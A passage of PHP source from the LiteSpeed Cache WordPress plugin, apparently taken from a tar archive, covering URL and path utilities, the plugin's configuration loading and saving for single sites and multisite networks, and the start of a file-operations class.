); $uri = wp_parse_url( $url, PHP_URL_PATH ); $qs = wp_parse_url( $url, PHP_URL_QUERY ); if ( ! $keep_qs || ! $qs ) { return (string) $uri; } return (string) $uri . '?' . $qs; } /** * Get attachment relative path to upload folder. * * @since 3.0 * * @param string $url Full attachment URL. * @return string Relative upload path like `2018/08/file.jpg`. */ public static function att_short_path( $url ) { if ( ! defined( 'LITESPEED_UPLOAD_PATH' ) ) { $_wp_upload_dir = wp_upload_dir(); $upload_path = self::url2uri( $_wp_upload_dir['baseurl'] ); define( 'LITESPEED_UPLOAD_PATH', $upload_path ); } $local_file = self::url2uri( $url ); $short_path = substr( $local_file, strlen( LITESPEED_UPLOAD_PATH ) + 1 ); return $short_path; } /** * Make URL relative to the site root (preserves subdir). * * @param string $url Absolute URL. * @return string Relative URL starting with '/'. */ public static function make_relative( $url ) { self::domain_const(); if ( 0 === strpos( $url, LSCWP_DOMAIN ) ) { $url = substr( $url, strlen( LSCWP_DOMAIN ) ); } return trim( $url ); } /** * Extract just the scheme+host portion from a URL. * * @since 1.7.1 * * @param string $url URL. * @return string Host-only URL (with scheme if available). */ public static function parse_domain( $url ) { $parsed = wp_parse_url( $url ); if ( empty( $parsed['host'] ) ) { return ''; } if ( ! empty( $parsed['scheme'] ) ) { return $parsed['scheme'] . '://' . $parsed['host']; } return '//' . $parsed['host']; } /** * Drop protocol from URL (e.g., https://example.com -> //example.com). * * @since 3.3 * * @param string $url URL. * @return string Protocol-relative URL. */ public static function noprotocol( $url ) { $tmp = wp_parse_url( trim( $url ) ); if ( ! empty( $tmp['scheme'] ) ) { $url = str_replace( $tmp['scheme'] . ':', '', $url ); } return $url; } /** * Validate IPv4 public address. * * @since 5.5 * * @param string $ip IP address. * @return string|false IP or false when invalid. */ public static function valid_ipv4( $ip ) { return filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ); } /** * Define LSCWP_DOMAIN using the home URL (no trailing slash). * * @since 1.3 * @return void */ public static function domain_const() { if ( defined( 'LSCWP_DOMAIN' ) ) { return; } self::compatibility(); $domain = http_build_url( get_home_url(), [], HTTP_URL_STRIP_ALL ); // phpcs:ignore WordPress.WP.AlternativeFunctions.parse_url_parse_url define( 'LSCWP_DOMAIN', $domain ); } /** * Sanitize lines based on requested transforms. * * @since 1.3 * * @param array|string $arr Lines as array or newline-separated string. * @param string|null $type Comma-separated transforms: uri,basename,drop_webp,relative,domain,noprotocol,trailingslash,string. * @return array|string Sanitized list or string. */ public static function sanitize_lines( $arr, $type = null ) { $types = $type ? explode( ',', $type ) : []; if ( ! $arr ) { if ( 'string' === $type ) { return ''; } return []; } if ( ! is_array( $arr ) ) { $arr = explode( "\n", $arr ); } $arr = array_map( 'trim', $arr ); $changed = false; if ( in_array( 'uri', $types, true ) ) { $arr = array_map( __CLASS__ . '::url2uri', $arr ); $changed = true; } if ( in_array( 'basename', $types, true ) ) { $arr = array_map( __CLASS__ . '::basename', $arr ); $changed = true; } if ( in_array( 'drop_webp', $types, true ) ) { $arr = array_map( __CLASS__ . '::drop_webp', $arr ); $changed = true; } if ( in_array( 'relative', $types, true ) ) { $arr = array_map( __CLASS__ . '::make_relative', $arr ); $changed = true; } if ( in_array( 'domain', $types, true ) ) { $arr = array_map( __CLASS__ . '::parse_domain', $arr ); $changed = true; } if ( in_array( 'noprotocol', $types, true ) ) { $arr = array_map( __CLASS__ . '::noprotocol', $arr ); $changed = true; } if ( in_array( 'trailingslash', $types, true ) ) { $arr = array_map( 'trailingslashit', $arr ); $changed = true; } if ( $changed ) { $arr = array_map( 'trim', $arr ); } $arr = array_unique( $arr ); $arr = array_filter( $arr ); if ( in_array( 'string', $types, true ) ) { return implode( "\n", $arr ); } return $arr; } /** * Build an admin URL with action & nonce. * * Assumes user capabilities are already checked. * * @since 1.6 Changed order of 2nd&3rd param, changed 3rd param `append_str` to 2nd `type` * * @param string $action Action name. * @param string|false $type Optional type query value. * @param bool $is_ajax Whether to build for admin-ajax.php. * @param string|null|bool $page Page filename or true for admin.php. * @param array<string,string> $append_arr Extra query parameters. * @param bool $unescape Return unescaped URL. * @return string Built URL. */ public static function build_url( $action, $type = false, $is_ajax = false, $page = null, $append_arr = [], $unescape = false ) { $prefix = '?'; if ( '_ori' === $page ) { $page = true; $append_arr['_litespeed_ori'] = 1; } if ( ! $is_ajax ) { if ( $page ) { if ( true === $page ) { $page = 'admin.php'; } elseif ( false !== strpos( $page, '?' ) ) { $prefix = '&'; } $combined = $page . $prefix . Router::ACTION . '=' . $action; } else { // Current page rebuild URL. $params = $_GET; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! empty( $params ) ) { if ( isset( $params[ Router::ACTION ] ) ) { unset( $params[ Router::ACTION ] ); } if ( isset( $params['_wpnonce'] ) ) { unset( $params['_wpnonce'] ); } if ( ! empty( $params ) ) { $prefix .= http_build_query( $params ) . '&'; } } global $pagenow; $combined = $pagenow . $prefix . Router::ACTION . '=' . $action; } } else { $combined = 'admin-ajax.php?action=litespeed_ajax&' . Router::ACTION . '=' . $action; } $prenonce = is_network_admin() ? network_admin_url( $combined ) : admin_url( $combined ); $url = wp_nonce_url( $prenonce, $action, Router::NONCE ); if ( $type ) { // Remove potential param `type` from url. $parsed = wp_parse_url( htmlspecialchars_decode( $url ) ); $query = []; if ( isset( $parsed['query'] ) ) { parse_str( $parsed['query'], $query ); } $built_arr = array_merge( $query, [ Router::TYPE => $type ] ); $parsed['query'] = http_build_query( array_merge( $built_arr, (array) $append_arr ) ); self::compatibility(); $url = http_build_url( $parsed ); // phpcs:ignore WordPress.WP.AlternativeFunctions.parse_url_parse_url $url = htmlspecialchars( $url, ENT_QUOTES, 'UTF-8' ); } if ( $unescape ) { $url = wp_specialchars_decode( $url ); } return $url; } /** * Check if a host is internal (same as site host or filtered list). * * @since 1.2.3 * * @param string $host Host to test. * @return bool True if internal. */ public static function internal( $host ) { if ( ! defined( 'LITESPEED_FRONTEND_HOST' ) ) { if ( defined( 'WP_HOME' ) ) { $home_host = constant( 'WP_HOME' ); } else { $home_host = get_option( 'home' ); } define( 'LITESPEED_FRONTEND_HOST', (string) wp_parse_url( $home_host, PHP_URL_HOST ) ); } if ( LITESPEED_FRONTEND_HOST === $host ) { return true; } if ( ! isset( self::$_internal_domains ) ) { self::$_internal_domains = apply_filters( 'litespeed_internal_domains', [] ); } if ( self::$_internal_domains ) { return in_array( $host, self::$_internal_domains, true ); } return false; } /** * Check if a URL is an internal existing file and return its real path and size. * * @since 1.2.2 * @since 1.6.2 Moved here from optm.cls due to usage of media.cls * * @param string $url URL. * @param string|false $addition_postfix Optional postfix to append to path before checking. * @return array{0:string,1:int}|false [realpath, size] or false. */ public static function is_internal_file( $url, $addition_postfix = false ) { if ( 'data:' === substr( $url, 0, 5 ) ) { Debug2::debug2( '[Util] data: content not file' ); return false; } $url_parsed = wp_parse_url( $url ); if ( isset( $url_parsed['host'] ) && ! self::internal( $url_parsed['host'] ) ) { // Check if is cdn path. if ( ! CDN::internal( $url_parsed['host'] ) ) { Debug2::debug2( '[Util] external' ); return false; } } if ( empty( $url_parsed['path'] ) ) { return false; } // Replace child blog path for assets (multisite). if ( is_multisite() && defined( 'PATH_CURRENT_SITE' ) ) { $pattern = '#^' . PATH_CURRENT_SITE . '([_0-9a-zA-Z-]+/)(wp-(content|admin|includes))#U'; $replacement = PATH_CURRENT_SITE . '$2'; $url_parsed['path'] = preg_replace( $pattern, $replacement, $url_parsed['path'] ); } // Parse file path. if ( '/' === substr( $url_parsed['path'], 0, 1 ) ) { $docroot = isset( $_SERVER['DOCUMENT_ROOT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['DOCUMENT_ROOT'] ) ) : ''; if ( defined( 'LITESPEED_WP_REALPATH' ) ) { $file_path_ori = $docroot . constant( 'LITESPEED_WP_REALPATH' ) . $url_parsed['path']; } else { $file_path_ori = $docroot . $url_parsed['path']; } } else { $file_path_ori = Router::frontend_path() . '/' . $url_parsed['path']; } // Optional postfix. if ( $addition_postfix ) { $file_path_ori .= '.' . $addition_postfix; } $file_path_ori = apply_filters( 'litespeed_realpath', $file_path_ori ); $file_path = realpath( $file_path_ori ); if ( ! is_file( $file_path ) ) { Debug2::debug2( '[Util] file not exist: ' . $file_path_ori ); return false; } return [ $file_path, (int) filesize( $file_path ) ]; } /** * Safely parse URL and component. * * @since 3.4.3 * * @param string $url URL to parse. * @param int $component One of the PHP_URL_* constants. * @return mixed */ public static function parse_url_safe( $url, $component = -1 ) { if ( '//' === substr( $url, 0, 2 ) ) { $url = 'https:' . $url; } return wp_parse_url( $url, $component ); } /** * Replace URLs in a srcset attribute using a callback. * * @since 2.2.3 * * @param string $content HTML content containing srcset. * @param callable $callback Callback that receives old URL and returns new URL or false. * @return string Modified content. */ public static function srcset_replace( $content, $callback ) { preg_match_all( '# srcset=([\'"])(.+)\g{1}#iU', $content, $matches ); $srcset_ori = []; $srcset_final = []; if ( ! empty( $matches[2] ) ) { foreach ( $matches[2] as $k => $urls_ori ) { $urls_final = explode( ',', $urls_ori ); $changed = false; foreach ( $urls_final as $k2 => $url_info ) { $url_info_arr = explode( ' ', trim( $url_info ) ); $new_url = call_user_func( $callback, $url_info_arr[0] ); if ( ! $new_url ) { continue; } $changed = true; $urls_final[ $k2 ] = str_replace( $url_info_arr[0], $new_url, $url_info ); Debug2::debug2( '[Util] - srcset replaced to ' . $new_url . ( ! empty( $url_info_arr[1] ) ? ' ' . $url_info_arr[1] : '' ) ); } if ( ! $changed ) { continue; } $urls_final = implode( ',', $urls_final ); $srcset_ori[] = $matches[0][ $k ]; $srcset_final[] = str_replace( $urls_ori, $urls_final, $matches[0][ $k ] ); } } if ( $srcset_ori ) { $content = str_replace( $srcset_ori, $srcset_final, $content ); Debug2::debug2( '[Util] - srcset replaced' ); } return $content; } /** * Generate pagination HTML or return offset. * * @since 3.0 * * @param int $total Total items. * @param int $limit Items per page. * @param bool $return_offset When true, return numeric offset instead of HTML. * @return int|string */ public static function pagination( $total, $limit, $return_offset = false ) { $pagenum = isset( $_GET['pagenum'] ) ? absint( $_GET['pagenum'] ) : 1; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ( $pagenum - 1 ) * $limit; $num_of_pages = (int) ceil( $total / $limit ); if ( $offset > $total ) { $offset = $total - $limit; } if ( $offset < 0 ) { $offset = 0; } if ( $return_offset ) { return $offset; } $page_links = paginate_links( [ 'base' => add_query_arg( 'pagenum', '%#%' ), 'format' => '', 'prev_text' => '«', 'next_text' => '»', 'total' => $num_of_pages, 'current' => $pagenum, ] ); return '<div class="tablenav"><div class="tablenav-pages" style="margin: 1em 0">' . $page_links . '</div></div>'; } /** * Build a GROUP placeholder like "(%s,%s),(%s,%s)" for a list of rows. * * @since 2.0 * * @param array<int,array<int,string>> $data Data rows (values already prepared). * @param string $fields Fields CSV (only used to count columns). * @return string Placeholder string. */ public static function chunk_placeholder( $data, $fields ) { $division = substr_count( $fields, ',' ) + 1; $q = implode( ',', array_map( function ( $el ) { return '(' . implode( ',', $el ) . ')'; }, array_chunk( array_fill( 0, count( $data ), '%s' ), $division ) ) ); return $q; } /** * Prepare image sizes list for optimization UI. * * @since 7.5 * * @param bool $detailed When true, return detailed objects; otherwise size names. * @return array<int,string|array<string,int|string>> */ public static function prepare_image_sizes_array( $detailed = false ) { $image_sizes = wp_get_registered_image_subsizes(); $sizes = []; foreach ( $image_sizes as $current_size_name => $current_size ) { if ( empty( $current_size['width'] ) && empty( $current_size['height'] ) ) { continue; } if ( ! $detailed ) { $sizes[] = $current_size_name; } else { $label = $current_size['width'] . 'x' . $current_size['height']; if ( $current_size_name !== $label ) { $label = ucfirst( $current_size_name ) . ' ( ' . $label . ' )'; } $sizes[] = [ 'label' => $label, 'file_size' => $current_size_name, 'width' => (int) $current_size['width'], 'height' => (int) $current_size['height'], ]; } } return $sizes; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/conf.cls.php������������������������������������������������������������0000644�����������������00000047040�15233526476�0014273 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The core plugin config class. * * This maintains all the options and settings for this plugin. * * @since 1.0.0 * @package LiteSpeed */ namespace LiteSpeed; defined('WPINC') || exit(); /** * Class Conf * * Maintains all LiteSpeed plugin configuration, including CRUD for single-site * and multisite options, upgrade flows, and side effects like purging/cron. */ class Conf extends Base { const TYPE_SET = 'set'; /** * IDs that were updated during a save cycle. * * @var array<string|int,mixed> */ private $_updated_ids = []; /** * Whether current blog is the network primary site. * * @var bool */ private $_is_primary = false; /** * Specify init logic to avoid infinite loop when calling conf.cls instance * * @since 3.0 * @access public * @return void */ public function init() { // Check if conf exists or not. If not, create them in DB (won't change version if is converting v2.9- data) // Conf may be stale, upgrade later $this->_conf_db_init(); /** * Detect if has quic.cloud set * * @since 2.9.7 */ if ( $this->conf( self::O_CDN_QUIC ) ) { if ( ! defined( 'LITESPEED_ALLOWED' ) ) { define( 'LITESPEED_ALLOWED', true ); } } add_action( 'litespeed_conf_append', [ $this, 'option_append' ], 10, 2 ); add_action( 'litespeed_conf_force', [ $this, 'force_option' ], 10, 2 ); $this->define_cache(); } /** * Init conf related data * * @since 3.0 * @access private * @return void */ private function _conf_db_init() { /** * Try to load options first, network sites can override this later * * NOTE: Load before run `conf_upgrade()` to avoid infinite loop when getting conf in `conf_upgrade()` */ $this->load_options(); // Check if debug is on // Init debug as early as possible if ( $this->conf( Base::O_DEBUG ) ) { $this->cls( 'Debug2' )->init(); } $ver = $this->conf( self::_VER ); /** * Version is less than v3.0, or, is a new installation */ $ver_check_tag = 'new'; if ( $ver ) { if ( ! defined( 'LSCWP_CUR_V' ) ) { define( 'LSCWP_CUR_V', $ver ); } /** * Upgrade conf */ if ( Core::VER !== $ver ) { // Plugin version will be set inside // Site plugin upgrade & version change will do in load_site_conf $ver_check_tag = Data::cls()->conf_upgrade( $ver ); } } /** * Sync latest new options */ if ( ! $ver || Core::VER !== $ver ) { // Load default values $this->load_default_vals(); if ( ! $ver ) { // New install $this->set_conf( self::$_default_options ); $ver_check_tag .= ' activate' . ( defined( 'LSCWP_REF' ) ? '_' . constant( 'LSCWP_REF' ) : '' ); } // Init new default/missing options foreach ( self::$_default_options as $k => $v ) { // If the option existed, bypass updating // Bcos we may ask clients to deactivate for debug temporarily, we need to keep the current cfg in deactivation, hence we need to only try adding default cfg when activating. self::add_option( $k, $v ); } // Force correct version in case a rare unexpected case that `_ver` exists but empty self::update_option( Base::_VER, Core::VER ); if ( $ver_check_tag ) { Cloud::version_check( $ver_check_tag ); } } /** * Network sites only * * Override conf if is network subsites and chose `Use Primary Config` */ $this->_try_load_site_options(); // Check if debug is on // Init debug as early as possible if ( $this->conf( Base::O_DEBUG ) ) { $this->cls( 'Debug2' )->init(); } // Mark as conf loaded if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) { define( 'LITESPEED_CONF_LOADED', true ); } if ( ! $ver || Core::VER !== $ver ) { // Only trigger once in upgrade progress, don't run always $this->update_confs(); // Files only get corrected in activation or saving settings actions. } } /** * Load all latest options from DB * * @since 3.0 * @access public * * @param int|null $blog_id Blog ID to load from. Null for current. * @param bool $dry_run Return options instead of setting them. * @return array<string,mixed>|void */ public function load_options( $blog_id = null, $dry_run = false ) { $options = []; foreach ( self::$_default_options as $k => $v ) { if ( null !== $blog_id ) { $options[ $k ] = self::get_blog_option( $blog_id, $k, $v ); } else { $options[ $k ] = self::get_option( $k, $v ); } // Correct value type. $options[ $k ] = $this->type_casting( $options[ $k ], $k ); } if ( $dry_run ) { return $options; } // Bypass site special settings if ( null !== $blog_id ) { // This is to load the primary settings ONLY // These options are the ones that can be overwritten by primary $options = array_diff_key( $options, array_flip( self::$single_site_options ) ); $this->set_primary_conf( $options ); } else { $this->set_conf( $options ); } // Append const options if ( defined( 'LITESPEED_CONF' ) && LITESPEED_CONF ) { foreach ( self::$_default_options as $k => $v ) { $const = Base::conf_const( $k ); if ( defined( $const ) ) { $this->set_const_conf( $k, $this->type_casting( constant( $const ), $k ) ); } } } } /** * For multisite installations, the single site options need to be updated with the network wide options. * * @since 1.0.13 * @access private * @return void */ private function _try_load_site_options() { if ( ! $this->_if_need_site_options() ) { return; } $this->_conf_site_db_init(); $this->_is_primary = BLOG_ID_CURRENT_SITE === get_current_blog_id(); // If network set to use primary setting if ( $this->network_conf( self::NETWORK_O_USE_PRIMARY ) && ! $this->_is_primary ) { // subsites or network admin // Get the primary site settings // If it's just upgraded, 2nd blog is being visited before primary blog, can just load default config (won't hurt as this could only happen shortly) $this->load_options( BLOG_ID_CURRENT_SITE ); } // Overwrite single blog options with site options foreach ( self::$_default_options as $k => $v ) { if ( ! $this->has_network_conf( $k ) ) { continue; } // $this->_options[ $k ] = $this->_network_options[ $k ]; // Special handler to `Enable Cache` option if the value is set to OFF if ( self::O_CACHE === $k ) { if ( $this->_is_primary ) { if ( $this->conf( $k ) !== $this->network_conf( $k ) ) { if ( self::VAL_ON2 !== $this->conf( $k ) ) { continue; } } } elseif ( $this->network_conf( self::NETWORK_O_USE_PRIMARY ) ) { if ( $this->has_primary_conf( $k ) && self::VAL_ON2 !== $this->primary_conf( $k ) ) { // This case will use primary_options override always continue; } } elseif ( self::VAL_ON2 !== $this->conf( $k ) ) { continue; } } // primary_options will store primary settings + network settings, OR, store the network settings for subsites $this->set_primary_conf( $k, $this->network_conf( $k ) ); } // var_dump($this->_options); } /** * Check if needs to load site_options for network sites * * @since 3.0 * @access private * @return bool */ private function _if_need_site_options() { if ( ! is_multisite() ) { return false; } // Check if needs to use site_options or not // todo: check if site settings are separate bcos it will affect .htaccess /** * In case this is called outside the admin page * * @see https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network * @since 2.0 */ if ( ! function_exists( 'is_plugin_active_for_network' ) ) { require_once ABSPATH . '/wp-admin/includes/plugin.php'; } // If is not activated on network, it will not have site options if ( ! is_plugin_active_for_network( Core::PLUGIN_FILE ) ) { if ( self::VAL_ON2 === (int) $this->conf( self::O_CACHE ) ) { // Default to cache on $this->set_conf( self::_CACHE, true ); } return false; } return true; } /** * Init site conf and upgrade if necessary * * @since 3.0 * @access private * @return void */ private function _conf_site_db_init() { $this->load_site_options(); $ver = $this->network_conf( self::_VER ); /** * Don't upgrade or run new installations other than from backend visit * In this case, just use default conf */ if ( ! $ver || Core::VER !== $ver ) { if ( ! is_admin() && ! defined( 'LITESPEED_CLI' ) ) { $this->set_network_conf( $this->load_default_site_vals() ); return; } } /** * Upgrade conf */ if ( $ver && Core::VER !== $ver ) { // Site plugin version will change inside Data::cls()->conf_site_upgrade( $ver ); } /** * Is a new installation */ if ( ! $ver || Core::VER !== $ver ) { // Load default values $this->load_default_site_vals(); // Init new default/missing options foreach ( self::$_default_site_options as $k => $v ) { // If the option existed, bypass updating self::add_site_option( $k, $v ); } } } /** * Get the plugin's site wide options. * * If the site wide options are not set yet, set it to default. * * @since 1.0.2 * @access public * @return null|void */ public function load_site_options() { if ( ! is_multisite() ) { return null; } // Load all site options foreach ( self::$_default_site_options as $k => $v ) { $val = self::get_site_option( $k, $v ); $val = $this->type_casting( $val, $k, true ); $this->set_network_conf( $k, $val ); } } /** * Append a 3rd party option to default options * * This will not be affected by network use primary site setting. * * NOTE: If it is a multi switch option, need to call `_conf_multi_switch()` first * * @since 3.0 * @access public * * @param string $name Option name. * @param mixed $default_val Default value. * @return void */ public function option_append( $name, $default_val ) { self::$_default_options[ $name ] = $default_val; $this->set_conf( $name, self::get_option( $name, $default_val ) ); $this->set_conf( $name, $this->type_casting( $this->conf( $name ), $name ) ); } /** * Force an option to a certain value * * @since 2.6 * @access public * * @param string $k Option key. * @param mixed $v Option value. * @return void */ public function force_option( $k, $v ) { if ( ! $this->has_conf( $k ) ) { return; } $v = $this->type_casting( $v, $k ); if ( $this->conf( $k ) === $v ) { return; } // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export Debug2::debug( '[Conf] ** ' . $k . ' forced from ' . var_export( $this->conf( $k ), true ) . ' to ' . var_export( $v, true ) ); $this->set_conf( $k, $v ); } /** * Define `_CACHE` const in options ( for both single and network ) * * @since 3.0 * @access public * @return void */ public function define_cache() { // Init global const cache on setting $this->set_conf( self::_CACHE, false ); if ( self::VAL_ON === (int) $this->conf( self::O_CACHE ) || $this->conf( self::O_CDN_QUIC ) ) { $this->set_conf( self::_CACHE, true ); } // Check network if ( ! $this->_if_need_site_options() ) { // Set cache on $this->_define_cache_on(); return; } // If use network setting if ( self::VAL_ON2 === (int) $this->conf( self::O_CACHE ) && $this->network_conf( self::O_CACHE ) ) { $this->set_conf( self::_CACHE, true ); } $this->_define_cache_on(); } /** * Define `LITESPEED_ON` * * @since 2.1 * @access private * @return void */ private function _define_cache_on() { if ( ! $this->conf( self::_CACHE ) ) { return; } if ( defined( 'LITESPEED_ALLOWED' ) && ! defined( 'LITESPEED_ON' ) ) { define( 'LITESPEED_ON', true ); } } /** * Save option * * @since 3.0 * @access public * * @param array<string,mixed> $the_matrix Option-value map. * @return void */ public function update_confs( $the_matrix = [] ) { if ( $the_matrix ) { foreach ( $the_matrix as $id => $val ) { $this->update( $id, $val ); } } if ( $this->_updated_ids ) { foreach ( $this->_updated_ids as $id ) { // Check if need to do a purge all or not if ( $this->_conf_purge_all( $id ) ) { Purge::purge_all( 'conf changed [id] ' . $id ); } // Check if need to purge a tag $tag = $this->_conf_purge_tag( $id ); if ( $tag ) { Purge::add( $tag ); } // Update cron if ( $this->_conf_cron( $id ) ) { $this->cls( 'Task' )->try_clean( $id ); } // Reset crawler bypassed list when any of the options WebP replace, guest mode, or cache mobile got changed if ( self::O_IMG_OPTM_WEBP === $id || self::O_GUEST === $id || self::O_CACHE_MOBILE === $id ) { $this->cls( 'Crawler' )->clear_disabled_list(); } } } do_action( 'litespeed_update_confs', $the_matrix ); // Update related tables $this->cls( 'Data' )->correct_tb_existence(); // Update related files $this->cls( 'Activation' )->update_files(); /** * CDN related actions - Cloudflare */ $this->cls( 'CDN\Cloudflare' )->try_refresh_zone(); // If Server IP changed, must test echo if ( in_array( self::O_SERVER_IP, $this->_updated_ids, true ) ) { $this->cls( 'Cloud' )->init_qc_cli(); } // CDN related actions - QUIC.cloud $this->cls( 'CDN\Quic' )->try_sync_conf(); } /** * Save option * * Note: this is direct save, won't trigger corresponding file update or data sync. To save settings normally, always use `Conf->update_confs()` * * @since 3.0 * @access public * * @param string $id Option ID. * @param mixed $val Option value. * @return void */ public function update( $id, $val ) { // Bypassed this bcos $this->_options could be changed by force_option() // if ( $this->_options[ $id ] === $val ) { // return; // } if ( self::_VER === $id ) { return; } if ( self::O_SERVER_IP === $id ) { if ( $val && ! Utility::valid_ipv4( $val ) ) { $msg = sprintf( __( 'Saving option failed. IPv4 only for %s.', 'litespeed-cache' ), Lang::title( Base::O_SERVER_IP ) ); Admin_Display::error( $msg ); return; } } if ( ! array_key_exists( $id, self::$_default_options ) ) { if ( defined( 'LSCWP_LOG' ) ) { Debug2::debug( '[Conf] Invalid option ID ' . $id ); } return; } if ( $val && $this->_conf_pswd( $id ) && ! preg_match( '/[^\*]/', (string) $val ) ) { return; } // Special handler for CDN Original URLs if ( self::O_CDN_ORI === $id && ! $val ) { $site_url = site_url( '/' ); $parsed = wp_parse_url( $site_url ); if ( !empty( $parsed['scheme'] ) ) { $site_url = str_replace( $parsed['scheme'] . ':', '', $site_url ); } $val = $site_url; } // Validate type $val = $this->type_casting( $val, $id ); // Save data self::update_option( $id, $val ); // Handle purge if setting changed if ( $this->conf( $id ) !== $val ) { $this->_updated_ids[] = $id; // Check if need to fire a purge or not (Here has to stay inside `update()` bcos need comparing old value) if ( $this->_conf_purge( $id ) ) { $old = (array) $this->conf( $id ); $new = (array) $val; $diff = array_merge( array_diff( $new, $old ), array_diff( $old, $new ) ); // If has difference foreach ( $diff as $v ) { $v = ltrim( (string) $v, '^' ); $v = rtrim( (string) $v, '$' ); $this->cls( 'Purge' )->purge_url( $v ); } } } // Update in-memory data $this->set_conf( $id, $val ); } /** * Save network option * * @since 3.0 * @access public * * @param string $id Option ID. * @param mixed $val Option value. * @return void */ public function network_update( $id, $val ) { if ( ! array_key_exists( $id, self::$_default_site_options ) ) { if ( defined( 'LSCWP_LOG' ) ) { Debug2::debug( '[Conf] Invalid network option ID ' . $id ); } return; } if ( $val && $this->_conf_pswd( $id ) && ! preg_match( '/[^\*]/', (string) $val ) ) { return; } // Validate type if ( is_bool( self::$_default_site_options[ $id ] ) ) { $max = $this->_conf_multi_switch( $id ); if ( $max && $val > 1 ) { $val %= ( $max + 1 ); } else { $val = (bool) $val; } } elseif ( is_array( self::$_default_site_options[ $id ] ) ) { // from textarea input if ( ! is_array( $val ) ) { $val = Utility::sanitize_lines( $val, $this->_conf_filter( $id ) ); } } elseif ( ! is_string( self::$_default_site_options[ $id ] ) ) { $val = (int) $val; } else { // Check if the string has a limit set $val = $this->_conf_string_val( $id, $val ); } // Save data self::update_site_option( $id, $val ); // Handle purge if setting changed if ( $this->network_conf( $id ) !== $val ) { // Check if need to do a purge all or not if ( $this->_conf_purge_all( $id ) ) { Purge::purge_all( '[Conf] Network conf changed [id] ' . $id ); } // Update in-memory data $this->set_network_conf( $id, $val ); } // No need to update cron here, Cron will register in each init if ( $this->has_conf( $id ) ) { $this->set_conf( $id, $val ); } } /** * Check if one user role is in exclude optimization group settings * * @since 1.6 * @access public * * @param string|null $role The user role. * @return string|false The set value if already set, otherwise false. */ public function in_optm_exc_roles( $role = null ) { // Get user role if ( null === $role ) { $role = Router::get_role(); } if ( ! $role ) { return false; } $roles = explode( ',', $role ); $found = array_intersect( $roles, $this->conf( self::O_OPTM_EXC_ROLES ) ); return $found ? implode( ',', $found ) : false; } /** * Set one config value directly * * @since 2.9 * @access private * @return void */ private function _set_conf() { /** * NOTE: For URL Query String setting, * 1. If append lines to an array setting e.g. `cache-force_uri`, use `set[cache-force_uri][]=the_url`. * 2. If replace the array setting with one line, use `set[cache-force_uri]=the_url`. * 3. If replace the array setting with multi lines value, use 2 then 1. */ // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput $raw = !empty( $_GET[ self::TYPE_SET ] ) ? $_GET[ self::TYPE_SET ] : false; if ( !$raw || ! is_array( $raw ) ) { return; } // Sanitize the incoming matrix. $the_matrix = []; foreach ( $raw as $id => $v ) { if ( ! $this->has_conf( $id ) ) { continue; } // Append new item to array type settings if ( is_array( $v ) && is_array( $this->conf( $id ) ) ) { $v = array_merge( $this->conf( $id ), $v ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export Debug2::debug( '[Conf] Appended to settings [' . $id . ']: ' . var_export( $v, true ) ); } else { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export Debug2::debug( '[Conf] Set setting [' . $id . ']: ' . var_export( $v, true ) ); } $the_matrix[ $id ] = $v; } if ( !$the_matrix ) { return; } $this->update_confs( $the_matrix ); $msg = __( 'Changed setting successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); // Redirect if changed frontend URL // phpcs:ignore WordPress.Security.NonceVerification.Recommended $redirect = ! empty( $_GET['redirect'] ) ? sanitize_text_field( wp_unslash( $_GET['redirect'] ) ) : ''; if ( $redirect ) { wp_safe_redirect( $redirect ); exit; } } /** * Handle all request actions from main cls * * @since 2.9 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_SET: $this->_set_conf(); break; default: break; } Admin::redirect(); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/file.cls.php������������������������������������������������������������0000644�����������������00000025107�15233526476�0014265 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * LiteSpeed File Operator Library Class * Append/Replace content to a file * * @since 1.1.0 */ namespace LiteSpeed; defined('WPINC') || exit(); class File { const MARKER = 'LiteSpeed Operator'; /** * Detect if an URL is 404 * * @since 3.3 */ public static function is_404( $url ) { $response = wp_safe_remote_get($url); $code = wp_remote_retrieve_response_code($response); if ($code == 404) { return true; } return false; } /** * Delete folder * * @since 2.1 */ public static function rrmdir( $dir ) { $files = array_diff(scandir($dir), array( '.', '..' )); foreach ($files as $file) { is_dir("$dir/$file") ? self::rrmdir("$dir/$file") : unlink("$dir/$file"); } return rmdir($dir); } public static function count_lines( $filename ) { if (!file_exists($filename)) { return 0; } $file = new \SplFileObject($filename); $file->seek(PHP_INT_MAX); return $file->key() + 1; } /** * Read data from file * * @since 1.1.0 * @param string $filename * @param int $start_line * @param int $lines */ public static function read( $filename, $start_line = null, $lines = null ) { if (!file_exists($filename)) { return ''; } if (!is_readable($filename)) { return false; } if ($start_line !== null) { $res = array(); $file = new \SplFileObject($filename); $file->seek($start_line); if ($lines === null) { while (!$file->eof()) { $res[] = rtrim($file->current(), "\n"); $file->next(); } } else { for ($i = 0; $i < $lines; $i++) { if ($file->eof()) { break; } $res[] = rtrim($file->current(), "\n"); $file->next(); } } unset($file); return $res; } $content = file_get_contents($filename); $content = self::remove_zero_space($content); return $content; } /** * Append data to file * * @since 1.1.5 * @access public * @param string $filename * @param string $data * @param boolean $mkdir * @param boolean $silence Used to avoid WP's functions are used */ public static function append( $filename, $data, 